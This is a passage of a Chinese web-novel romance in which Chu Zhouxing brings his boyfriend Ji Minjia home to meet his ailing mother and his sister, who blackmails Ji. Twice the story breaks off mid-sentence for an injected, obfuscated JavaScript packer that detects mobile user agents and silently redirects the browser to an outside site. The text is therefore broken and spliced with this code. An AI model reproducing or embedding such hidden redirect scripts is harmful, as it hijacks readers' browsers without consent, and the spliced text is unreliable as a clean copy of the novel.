听到是楚遥骑走的,纪敏嘉也放下心,他看向楚州行,却见他若有所思,“楚哥,怎么了?” 楚州行问:“楚遥走了多久?” “有一会了,大概两小时前?” 楚州行意味不明地动了动眉。 她看到了。 无所谓。 楚州行又笑了一下,看向一无所知的纪敏嘉,很轻松地说:“看来,咱们要走回家了。” 18. 珍宝 纪敏嘉很久没跟楚州行一起散步了,自从他们买了辆崭新的电动车,出门更多是骑车。 乡间的风带来清新的泥土香,天幕是逐渐深沉的暗蓝色,隐约出现星月。 四下无人。 纪敏嘉伸手,勾住了楚州行的食指,楚州行很自然就把他的手牵了起来。 楚州行的手很温暖,纪敏嘉被他握住,一颗心很安静。 路两侧是零零散散的民宅,红砖青砖水泥的矮房子,轮廓一大半藏匿在昏暗的夜色中,四处乌漆漆,仅有窗户一两扇亮着灯透着微弱的光。 这是一片很贫瘠的山域,山里人很节省,点灯不像大城市整个屋子都是亮堂堂。 房子结构也老套,外墙露砖,内里发霉,从里到外都落魄。 二十一岁的楚州行对家乡的印象只有“穷”。 即使他与纪敏嘉定情,也从未想过把纪敏嘉带回老家。 他怕纪敏嘉会嫌弃,怕他离开。 二十一岁的楚州行认知里,男人找对象先要翻建新房子,没有姑娘愿意嫁到他贫瘠的家乡,也没有女人愿意长久地生活在老砖房。 握着纪敏嘉的手,楚州行情绪荡漾。 以前的他真的很蠢,他低估了纪敏嘉的爱,也小瞧了这份感情。 他所担忧害怕的事并不会发生。 纪敏嘉只是好奇地望着院落,拉着他的手臂,凑到楚州行耳边,问:“楚哥,这家墙角种是什么花?真好看。” 枯败萧瑟的院子,矮矮小小的石头房,连台阶都只是一块青石,而他看到了墙角盛开灿烂的鲜花。 “三角梅。”楚州行转头看他。 昏暗的光线下,纪敏嘉的眼神干净温和,像清晨凝在嫩枝上晶莹剔透的水珠。 上辈子楚州行拍戏背过一句台词:爱人的眼睛是不能被记录的奇珍。 那时,他觉得不太对。 现在,他依然这样认为。 他已经用自己的眼睛记下了这举世无双的珍宝。 亦将这珍宝的主人收藏刻录在心中。 . 两人走了半小时,慢悠悠转回家。 天完全黑透,姚莉把能开的灯全部打开,隔老远,就有黄澄澄的光指引方向。 两人走进前院,姚莉听到响动从厨房出来,她手里还端着洗干净的苹果,热情地招呼纪敏嘉,“是嘉嘉?来阿姨这吃苹果,新鲜的。” 苹果是前两天从市集上买的红富士,楚州行说要带朋友回家,姚莉就开始准备。 他们这盛产橘子,客人上门也不能只让人家吃橘子。 纪敏嘉受宠若惊,双手捧着果盘,“谢谢阿姨。”他眼神看向楚州行,似乎在问他要不要。 楚州行看出他有点紧张,笑着推着他去客厅,“你先坐一坐,我去厨房帮忙。” 纪敏嘉也想去帮忙,“我帮你切菜?” 楚州行还没说什么,姚莉先不同意了,她慈爱地看着纪敏嘉,“嘉嘉,你走那么远的路肯定累了,先歇歇,阿姨手脚快,菜都弄好了,等遥遥回家,咱们就开饭了。” 哪有客人第一次上门就让人帮忙干活的?那也太不讲究了!姚莉做不出来这种丢份的事。 楚州行也说:“你先休息休息,累了可以去我的房间躺一躺。” 纪敏嘉只能去客厅。 进了厨房,楚州行熟练地坐到灶炉前帮忙烧火。他看着苍老的母亲,心里有太多话说不出口,他沉默地往灶洞里添柴。 姚莉砍着鸡,为了招待纪敏嘉,她把家里最肥美的母鸡宰了。 “瘦了。” 楚州行只回了句,“妈。”眼泪就落下来。 面前的姚莉鬓角长满白发,终年辛苦的劳作,她的手指变得粗.大粗糙,满手都是老茧,也许是生了重病,她的脸色不太好,眼眶深陷,眼睛浮肿。 她的小臂又瘦得厉害,一层皮包着骨头,轻飘飘的看得人心慌。 “哭什么?外面过得苦就回家,有妈在,饿不到你。咱家还有几亩田,能养活你和小妹。” 楚州行摇了摇头,“这次我回来是接你去帝都享福,以后咱们一家人好好的。” 姚莉的眼眶红了,她强忍着泪水,“你别瞎操心,妈没事,呆在家里挺好的,这边都是熟人朋友,他们都很照顾我,去你那,我连个说话的人都没有。” 帝都消费高,姚莉知道楚州行没赚到钱,不肯拖累儿子。 想起什么,她又说:“你有本事就把你妹妹带去吧,那边教育好,你妹妹也快长大了,真的学不进,你找个靠谱的地方送她去打工,教她学一门手艺养活自己。” 这几乎是托孤的语气。 对于自己的病,姚莉心知肚明。 最近天天便血,她肚子上的肿块越长越大。 她不怕死,她只担心自己死后,一双儿女要受罪。 所以她不去医院看病,她怕啊,一死就死倒是轻松,要是查出什么大病,掏空了家里积蓄,再欠了一屁股债,那她死了也不能安心。 “楚遥也跟我们去帝都。我会送她去上学,如果真的读不进书,就送她去艺校,以后等她毕业了,给她开个美术馆。”楚州行早就为楚遥做了打算。 听着儿子的承诺,姚莉有点感动,也有点想笑。 艺校,美术馆对于普通人来说,太遥远了。这不是他们这阶级能幻想的东西,她年过半百,早就没雄心壮志,楚州行的承诺也像天方夜谭。 “小行,你从小就有志气,妈相信你总有一天会成就一番事业。人还是要现实点,钱不是那么好赚的。”别说美术馆,单单一笔治病的钱,楚州行都拿不出来。 “你要过好自己的生活,不要走弯路,我们家都要堂堂正正的。”姚莉也怕楚州行为了钱,一时想不开,走了极端。 对上姚莉忧心忡忡的眼神,楚州行又添了几块柴,站了起来。 “妈,你就别操心了,给你治病的钱我有,妹妹上学的钱我也会攒到的。” “你哪来的钱?”楚州行每月能赚多少,姚莉有数。 楚州行笑了一下,他天生好相貌,去帝都的两年他整个人气质都有了变化,姚莉竟有些陌生。 “纪敏嘉给的。” 他说话坦坦荡荡,姚莉却皱紧眉,“你怎么能拿那个孩子的钱!”日常联络中,她知道纪敏嘉父母双亡。 这钱,姚莉不敢用,丧良心,她甚至不敢细想。 楚州行满不在乎,“他愿意给我花。” “你不骗他,他怎么会把钱给你?!”姚莉气得不行,楚州行轻慢的姿态让她胸中发蒙。 楚州行直视她的眼睛,唇角一点点笑意,“因为他爱我。” 姚莉瞳孔一点点放大,震惊到极限。 楚州行还在说:“妈,忘记跟你说了,我是个同性恋,我喜欢男人。”他侧着脸看向客厅,“纪敏嘉已经跟我在一起了,我妈就是他妈,他愿意出钱给你看病。” 姚莉捂住胸口,指着楚州行微微发抖,“他才多大?你、你——”她说不出口,她想问楚州行是不是把他的赔偿款骗来了,她最怕最担心的事! 两人住一起那年,纪敏嘉还没成年,这是诱.奸! 看着震惊恐惧的姚莉,楚州行很平静,这就是他要达到的效果。 思想古板的山区妇女很难坦然接受自己儿子的同性.爱人,即便爱楚州行,她默认纪敏嘉的存在,也无法像正常婆媳一般相处。 他不想以后住在一起,姚莉躲着纪敏嘉,这对纪敏嘉是一种伤害。 所以,他宁愿自毁形象来让姚莉愧疚。 他妈太善良了,善良的人是最容易拿捏的。 楚州行又添了把火,说:“妈,你不用操心,他有钱。” 咚。 姚莉狠狠将刀摔砸到砧板上,双目圆瞪,扬起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691021|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巴掌—— . 深秋的七点多钟,天已经完全黑了,风猎猎地吹,冷得要命。 楚遥站直,狂蹬自行车,冷风从领口灌了进去,她冻得直打哆嗦,鸡皮疙瘩窜了一身。 山上的路灯是村民自建的,年久失修,时亮时不亮。 狂飙在黑灯瞎火的乡村小道,楚遥满脑子都是看过的鬼片。 涂着红嘴唇的散发女人癫狂地追在身后,甩着惨白僵硬的长舌头—— 突然,她脑海里的诡异长舌搅拌在一起,打结,团成团,未经她允许就融化扭曲成楚州行的模样。 他湿润的舌头像条蟒,蜿蜿蜒蜒游进纪敏嘉嘴里。 “......” 楚遥要疯了,对着漆黑、空无一人的小道,大声尖叫。“啊——啊啊啊——” 草! 发泄后,楚遥更冷了,车座后面挂着她最爱的柠檬鸡爪,她一点胃口都没有,还有几分钟的路程就要到家,她不太敢回去。 想象中,老哥垂着一张苍白的面孔,凑到她面前,蛇一样的眼神轻飘飘落在她身上,问:“你看到了什么?”仿佛下一秒就要捏爆她的脑袋。 呲。 楚遥一个急刹,撑着车,心慌意乱。 家里已经亮着灯,她也闻到了熟悉的饭菜香,隔着幽暗的夜景,楚遥鼓起勇气。 然后。 她提着车,从后门耗子一样贼溜溜地蹿进去。 一进家门,楚遥就要躲到自己的房间,可刚摸到客厅,就被纪敏嘉发现了。 “小遥。”纪敏嘉喊她,“你跑什么?” 楚遥面色僵硬,呵呵地笑,举起手上的袋子,“我找盘子。”她一边说话一边倒退。 连“敏嘉哥哥”都不敢喊了,按两人的关系,她应该喊“嫂子”。 “我帮你装。”说着,纪敏嘉就走进厨房,而楚遥只能跟着他一起进去。 一进门,楚遥就闻到了一股浓烈的酱香。 楚州行站在锅前热油,铁锅烧得滚烫,油静静地冒着热气,旁边还摆着一盘烧好的酱鸡。 “买的鱼呢?”楚州行看向楚遥,眼神平静,楚遥却发现厨房里的气氛怪怪的,姚莉坐在灶前,不太敢看纪敏嘉,对她也欲言又止。 “在这里。”楚遥连忙将袋子提起来,“我怕鱼死了,让老板给我装了一袋水,还加了冰块。你看,现在还活蹦乱跳。” 这条鱼可费了她老鼻子劲,两斤的鱼,五斤的冰水,她怕水洒了,不敢绑车座后面,就一路拎着带回来。 “你去杀一下,把虾也洗一洗。” “好嘞!” 穷人的孩子早当家,楚遥年纪虽小,杀鱼杀鸡却是好手。 看她叮叮当当跑出去,纪敏嘉一个个将盘子码好,又一个个袋子拆冷菜。 姚莉注意他的动作,见他将一块牛肉偷偷塞到楚州行嘴里,两人对视,相视一笑。 她的表情变了又变,最终垂下眼睛。 看得出,纪敏嘉很喜欢自己儿子,那种眼神,快要溢出的爱意。 她清楚,不可能将两人分开了。 “楚哥,你在炒什么?” 楚州行声音很温柔,“我们这里的特色菜,熏腊鱼,一会儿你尝尝看,有点辣。” “这里已经有很多菜了,咱们就四个人,够了够了。” “柴火灶炒的鱼肉比煤气灶做的锅气更足,更香,我今天馋了,干脆多做点。” 葱姜蒜下锅,瞬间爆出无数呛鼻的浓烟。 切成大段的熏鱼下锅煸炒,咸香便随着烟气溢散,不多时,整间厨房都是浓烈的肉香。 纪敏嘉看着楚州行熟练地做饭。他袖子撸到手肘处,简单系着一条围裙,双腿格外修长,明明只是最生活的炒菜动作,纪敏嘉却心动不已。 如果能这样跟楚州行过一辈子,那他一定是世界上最幸福的人。 19. 出柜 “来了——青菜肉丸汤。” 浸润油香的清汤裹着热气扑面袭来,肉丸一个个白滚滚圆鼓鼓,碧绿的青菜点缀,色香味俱全。 楚州行放下最后一道菜。 八道热菜、八道冷菜全部上齐。 整张四方桌层层叠叠,小碗压大盘,满满堆了一桌。 四个人各占一边。 面对一大桌的美食,楚遥不争气地狂咽口水,眼冒星星。 这是她记事以来,家里饭菜最丰盛的一次,要知道她家过年也只有六道菜。 她迫不及待拿起筷子,摩拳擦掌,偷偷瞥了眼纪敏嘉,见他没动手,委屈巴巴又放下了筷子。 姚莉从小就教育她,要有家教。 家里来客人,要等客人先动筷,绝不能先吃。 楚州行摘了围裙,将它叠好放在一边,不说话,就坐着。 他天生好相貌,可能是刚洗过脸,额间几缕发潮潮的,看向姚莉的眼神带着几分神采。 似乎在等待她开口。 这小子! 姚莉心里烦躁,见纪敏嘉一旁乖乖等着,她只能自己来招呼,“嘉嘉,不要客气,来——吃块鸡,热腾腾的,尝尝小行的手艺,你就把这” 她给纪敏嘉夹了块鸡腿肉,想起什么,到嘴里的话又变成了“把这,这也是你家。” 她越说越尴尬,声音都放低了,“自己家就别客气。” 纪敏嘉连忙捧碗去接,“谢谢阿姨。”他没听懂姚莉的意思,美滋滋地咬着鸡肉,真诚夸奖:“超好吃!阿姨你也吃呀。” “好好。”姚莉无奈回应着,“阿姨自己夹。”她眼睛看向自己的一双儿女。 楚州行一脸淡笑,薄唇轻扬,满意她的妥协。 楚遥更是一点心眼没长,只顾乐呵呵去夹她最爱的柠檬鸡爪,还贪婪地夹了三根,全高高地堆在碗里。还没吃,眼睛又贼溜溜地盯上了盘子里酱鸡。 丢人现眼! 姚莉是越看越气,在楚遥伸出“罪恶之手”试图把整盘酱鸡拖到自己面前时,她用筷子,恨恨地敲了下女儿的手。 “吃饭!” 楚遥委屈极了,她不正在吃饭吗? 她将目光投向楚州行,试图寻找老哥的安慰。 果然,老哥又在看纪敏嘉。 楚遥气鼓鼓地把脸埋在碗里,哼,她生气了,她要把这桌菜全部吃光! 她嚼嚼嚼,美滋滋啃着鸡翅,突然又开口:“老哥,你的鸡是不是做咸了?我吃着——”嚼嚼嚼,“有点老,像咱们学校外面的炒鸡。” 楚州行抬眼一睨,表情冷淡,“你要求还挺高。” 楚遥老鼠一样敏感洞悉了楚州行的不悦,连忙补救,“哈哈,我夸你做得好呢,手艺太棒了,可以出去摆摊。” 她想一出是一出。 “哥,你有这手艺,咱们出去摆摊吧。” 楚州行要笑不笑,顺着她的话说,“行啊,咱们回帝都我就去大学门口支个摊卖炒鸡,你来给我端盘子。” 楚遥完全听不懂他的深意,还美滋滋规划着,“好!到时候敏嘉哥哥帮你收钱,妈妈帮忙打扫卫生,我们一家人齐心协力赚大钱!” 全场没人附和她。 鸦雀无声。 纪敏嘉屡次抬头看楚州行的表情,他是愿意的。 还是姚莉看不下去了,无奈道:“吃你的饭,你哥他们有自己的规划。” 纪敏嘉还没“进门”呢,当妹妹的就开始指手画脚安排工作,换成别家小媳妇,估计早就闹起来要撕烂这讨人嫌的小姑子。 姚莉瞥了眼纪敏嘉的神情,心中叹气。 也就是嘉嘉年纪小,不懂...... 楚州行懒得搭理这不懂人情世故的二货。 “尝尝我们这的特色菜——熏腊鱼。有点辣,你小心。”楚州行给纪敏嘉夹了块黑不溜秋的鱼段,纪敏嘉一凑近就闻到一股辛辣醇厚的香气。 这香味很奇妙,咸鱼的微腥,夹杂着豆豉发酵的独特气味。 纪敏嘉口味清淡,平时也不怎么吃辣。 这算是他第一次尝试地方特色辣菜。 第一口。 !!! 纪敏嘉捂住嘴,眼泪汪汪,“好辣,咳——”他不停地咳嗽,楚州行给他倒水,笑着说:“受不了就别吃了。” 纪敏嘉捧着杯子一直喝水。 楚州行想把他碗里吃剩的鱼段夹走,他又狂摇脑袋,小狗护食般身体前倾,挡住了楚州行的筷子。 “咳,我再试试。”他略皱着眉,一小口鱼肉,一大口水,慢慢吃了几口,他突然一抬头,眼睛亮闪闪,“好吃!” 他算品出来这鱼的风味了。 一口接一口,整个吃完又夹了一块。 他吃上瘾了。 楚州行特别喜欢看纪敏嘉吃饭。 无论楚州行做什么饭菜,他都吃得津津有味。 每次看他筷子飞舞,饭菜一扫而空,楚州行心里特有成就感。 纪敏嘉很会提供情绪价值,就算某些饭菜不合他的口味,他也能像现在这样,搭配一些东西,美滋滋地吃完。 “再给你倒点水?”楚州行的声音特别温柔,坐在一旁的楚遥听得毛骨悚然,她还不太习惯温柔的楚州行。 悄悄抬头,就看到自己老哥“含情脉脉”地注视着纪敏嘉。 他有双很多情、很美丽的眼睛,爱着一个人时整张面孔美到不可思议。 有毒吧,在表演什么? 楚遥心里嘀咕,吃个饭还演上泰坦尼克号了?要不我去桌子底下,把舞台都让你? . 一顿饭,三个人吃出了三种心情,只有楚遥把自己吃撑了。 她摸着自己的小肚子,不停地打冷嗝。 突然。 意识到什么,她猛地转头! 楚州行轻轻地看了她一眼。 一瞬间,她像被电流击中,立刻领悟到什么,嘴比脑子快,喊着:“碗,我来洗!我最爱洗碗了!都不要和我抢!” 日常在家都是姚莉洗碗做饭,今天一家人齐聚,姚莉还生着病,理所当然应该楚州行来洗。可纪敏嘉不会让楚州行一个人去,他肯定会帮忙,他们家又没有让客人干活的先例,所以这碗只能楚遥洗。 楚遥手脚麻利把碗碟垒得高高,分两批送进厨房,便开始她的“洗刷刷”大业。 而姚莉也没闲着,抱着晒好的杯子要给纪敏嘉安排房间。 纪敏嘉今晚住在楚州行以前的卧室。 垫被已经铺好,上面搁着一个换了干净枕套的蓝色枕头。 姚莉将厚厚的盖被抱上去,摊好,朝着纪敏嘉笑,“嘉嘉,你晚上就睡在这儿,阿姨把被子晒得很蓬松,被套也是新换的,干净的。” “来,试试看——如果冷,阿姨再抱一床来。” “谢谢阿姨。”纪敏嘉摸着被子,趴在床上,小狗般用脸蹭。 好柔软,好舒服。 他把脸埋在被子里,拱一拱,才抬起头,“阿姨,一床就够了,好暖和。”他的眼睛亮晶晶。 姚莉看他的样子,心里也高兴。 真乖啊。 “行,阿姨不打扰你休息了。”她笑眯眯,“桌上有水壶和杯子,都是洗干净的,口渴了可以喝。” 她还有好多话想说,要告诉嘉嘉厕所在哪,哪里开灯,哪里—— 楚州行突然开口,不仅打断了她的思绪,还打破了其乐融融的和谐氛围。 “妈,怎么只有一个枕头?我的呢?”楚州行看着她,“你让我们合用?那也太挤了。” 姚莉脸皮抽了两下,又臊又烦,没好气地说:“你睡遥遥的房间。” 放他进来还不知道要闹什么事! “我不,她太邋遢了,床单两个月不换,我不要睡她的床,而且她的被子太短了,都盖不到脚。” 姚莉听都不想听,他只是不想住楚遥的房间? “她还没嫌弃你呢。” “既然我们两都不愿意,那就各住各的。”楚州行推开窗户,对厨房喊话,“楚遥,妈让我睡你的房间——” 这就是楚州行的阴险之处。 只要楚遥强烈抗议,姚莉也不可能强行让他住进妹妹的房间。 楚遥的性格楚州行太清楚了,虽然她几个月不换床单,但谁碰一下她的东西,她准要闹。 出乎意料的是,这次厨房很平静,好一会儿,楚遥唯唯诺诺的声音才传了过来,“行吧——唉,你睡吧。” 很无奈,又无可奈何。 楚州行脸上的表情一下子僵了。 楚遥也很不开心,没办法,谁让她看到了老哥的秘密,只能牺牲一下。 姚莉似笑非笑看着他,“走吧,儿子,去你妹妹的房间,我给你换一床长被子。” . 洗完碗,楚遥坐在院子的台阶上,忧愁地望着月亮。 想到楚州行睡在自己香喷喷的小床上,她就很想冲进去,把他抠出来。 老哥不会坐在她床上吃饼干吧? 一想到自己心爱的小花被要沾上楚州行的气味,她就觉得小花被不纯洁了。 她很有领地意识,她的房间就是她的王国,今夜丧.权.辱.国,她内心悲痛万分。 伤心着,她又想到了那块巧克力,榛子口味甜津津香喷喷。 楚遥馋得流口水。 巧克力在纪敏嘉身边。 敏嘉哥哥比老哥脾气好多了,看样子胆子也很小,只要她拿出下午的那件事暗戳戳地威胁,他肯定吓得哇哇乱叫,直接把巧克力全部上交。 想到纪敏嘉双手捧着巧克力向她行.贿的样子,楚遥兴奋地站起来。 冲! 三步并两步,冲到房间! 房间还亮着灯,楚遥“蹭——”耗子一样躬着身窜到床边。 纪敏嘉被她吓了一跳,他正拿着手机对无名指上的戒指拍照,楚遥就鬼一样地冒出来,他吓得心脏狂跳,连忙将左手藏到身后,另一只手抓着被子,往上拉了拉,盖到胸口。 “小遥,那么晚你来我的房间做什么?”纪敏嘉不理解,有什么话不能明天说? 楚遥贱贱地笑,她先转头看了看窗外,又鬼鬼祟祟把门关好。 纪敏嘉在她关门的那刻,紧紧抱住了被子,一脸戒备。 楚遥关紧了门窗还不放心,她一个鱼跃,就要往纪敏嘉床上爬,吓得纪敏嘉连忙去推,“你别过来,有什么话你站着说!” “你别推我啊,要不是为你们考虑,我用得着那么小心?”楚遥委屈极了,“我不想聊天的内容被妈妈听到。” 她还不知道姚莉知道了两人的关系。 为了保守秘密,也为了保留把柄更好地威胁纪敏嘉,楚遥小心翼翼压低嗓音,嘿嘿笑,“嫂子——” 一句话震得纪敏嘉头皮发麻。 “我都看到了,你和我哥,嘿嘿,在树林里亲亲!”楚遥叉着腰,“现在,我知道了你们的秘密,你必须拿出巧克力收买我!” 说来说去是为了巧克力。 纪敏嘉很无语,从外套口袋翻出来递给她。 他的心脏还在狂跳,不仅是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691022|173344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为那句“嫂子”。 楚遥没想到不费吹灰之力就得到了东西,整个过程丝滑得不可思议,她看了看手里的巧克力,又看了看纪敏嘉,这才尴尬起来。 在她的设想里:纪敏嘉会吓得要死,泪眼涟涟,哀求她不要说出去,并追问她还看到了什么,要求她保密。然后她再摆出地主老财的嘴脸,让纪敏嘉上供。 这不对吧? 纪敏嘉强压心中情绪,赶她,“现在满意了?我要睡觉,你走吧。” 楚遥走几步又回头看看,满脑子都是问号,“你就没别的想说?” 纪敏嘉抚摸着无名指上的花朵戒指,沉默,摇了摇头。 楚遥顿时难受了,拜托,给点反应好不好? 这不是我一个人的独角戏吧? 楚遥别扭地走了。 纪敏嘉听到关门声,整个人扑在床上,他像只被天敌拨弄的小动物,埋在被子里浑身发抖。没有人在,他才溢出自己的情绪。 其实听到楚遥挑明两人的关系,他又害怕又惊喜。 他不知道这种感觉对不对,可他真的很激动。 既怕,又有大石落地的安心感。 姚莉、楚遥都是很好的人,他想让她们知道自己也是她们的家人。 他想要一个家。 有了她们,他就有了一个完整的家。 他也害怕姚莉她们接受不了,怕伤害到她们,可他仍然保留着一丝丝阴暗的奢望,如果她们发现了,是不是就可以顺势—— 埋在温暖的被子里,纪敏嘉唾弃自己,姚莉是很好的人,他怎么能那么想,他不应该这么想的,怎么可以? 所以,当楚州行抱着被子来到他房间时,他第一反应就是把楚哥赶走。 不能被姚莉发现! 楚州行直接将他从被子里捞出来。 原先的被子被垫到身.下。 楚州行带来的被子盖在两人身上。 纪敏嘉整个人仿佛陷在棉花堆里,被包裹着,上下都很柔软,他很安全。 楚州行睡在身边,侧着身看他,他的眼神太温柔,脉脉含情,“没有你,我睡不着。” 他懒洋洋的,眼睫微垂,修长的脖颈在灯光透着莹润的白。 不可能有人能拒绝楚州行的情话。 纪敏嘉愣了一下,胸膛涌出一股强烈的情感,他控制不住自己的爱。 他小心将脑袋靠向楚州行。两人肩膀挨着肩膀,腿贴着腿。 很亲密,没有人能比他们更亲密。 好一会儿,两人都没说话。 纪敏嘉能听见楚州行的呼吸声,“要关灯吗?”楚州行笑了一下,把灯关了。 楚州行知道,这是愿意让他留下来的意思。 黑暗放大了两人的听觉,轻微的心跳声都变得清晰。 黑夜中,两人也逸散出更多的爱意。 不知什么时候,两人就依偎在一起。 纪敏嘉与楚州行额头相贴,呼吸缠缠绵绵,楚州行先开口了,“我妈知道了我们的事。” 他的声音很轻,也很温柔,有着令纪敏嘉安心的魔力。 刚才还翻涌的情绪变得无比熨帖,纪敏嘉“嗯”了声,似疑惑也似知晓,音调轻轻平平,像在梦中。 楚州行继续说:“以后,就叫她妈吧。” 纪敏嘉又“嗯”了声。 楚州行抓到他的左手,也摸到了那枚没摘下来的戒指,他的指腹反反复复摩挲纪敏嘉的指节,摸得纪敏嘉心里发酸。 “敏嘉。” “我爱你。” “和我在一起过一辈子吧。” “嗯。” 楚州行心尖颤抖,他轻轻地吻了纪敏嘉,这次不用他教,纪敏嘉主动分开他的唇,舌头相互触碰,舔舐。 很久很久。 楚州行头脑发晕,仿佛缺氧,身体轻飘飘。两人分开时,纪敏嘉小小地咬了下他的下唇。 “你——” “楚哥,我有件事想告诉你。” 两人同时开口,楚州行把到嘴的“你学坏了”咽下去,“你说。” 纪敏嘉伏在楚州行耳边,无师自通了吹“枕边风”。 “刚才小妹来了。” 楚州行听着。 “她看到了我们接吻。” “她问我要巧克力,我给她了。” 楚州行气笑了,猜到了她敲诈纪敏嘉的行径,承诺:“我明天好好收拾她。” “你不要打她,我想说的不是这个。”纪敏嘉呼出的热气吹在楚州行耳朵里,痒痒的,楚州行心融成春水,“你说什么就是什么,你让我怎么做就怎么做。” “她就直接往我的床上爬,我可是个成年男性,她一个未成年小姑娘,一点都不知道保护自己。” 纪敏嘉更亲密地贴着楚州行,“楚哥,你要教她,性.教育还是很有必要的,万一遇到坏人,她就是个小孩子,完全不懂这些,会吃亏的。” 有求于人,纪敏嘉讨好地亲了亲楚州行的鼻子。“好吗?” 楚州行还能说什么。“好。” 纪敏嘉满意地缩在他怀里。 闭上眼睛,“楚哥,我要睡了,晚安。” “晚安。” 楚州行亲了亲他的头发,心中针扎一样痛。 是啊,楚遥身心都是个孩子。上辈子她跳进那种命运,该有多绝望。 她这样的孩子心性,是怎么在那个吃人的圈子生存下去的? 她朝楚州行发疯,说的那些话,有几句是真的? 上辈子,他到底在干什么?